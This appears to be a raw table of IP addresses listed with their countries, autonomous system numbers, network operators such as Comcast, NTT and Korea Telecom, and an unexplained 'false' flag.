20115 CHARTER-20115US false
153.94.54.76
 unknown Germany
25394 MK-NETZDIENSTE-ASDE false
181.95.200.93
 unknown Argentina
7303 TelecomArgentinaSAAR false
50.164.244.124
 unknown United States
7922 COMCAST-7922US false
26.102.90.208
 unknown United States
7922 COMCAST-7922US false
157.4.229.151
 unknown Japan 7671 MCNETNTTSmartConnectCorporationJP false
110.70.116.79
 unknown Korea Republic of
4766 KIXS-AS-KRKoreaTelecomKR false
113.30.84.209
 unknown Korea Republic of
38661 HCLC-AS-KRpurplestonesKR false
220.221.72.239
 unknown Japan 4713 OCNNTTCommunicationsCorporationJP false
123.91.25.47
 unknown China
9394 CTTNETChinaTieTongTelecommunicationsCorporationCN false
96.213.122.35
 unknown United States
7922 COMCAST-7922US false
132.76.58.252
 unknown Israel
378 MACHBA-ASILANIL false
180.49.27.55
 unknown Japan 4713 OCNNTTCommunicationsCorporationJP false
124.40.95.111
 unknown Japan 9351 ZLANZTVCOLTDJP false
74.63.166.123
 unknown United States
13649 ASN-VINSUS false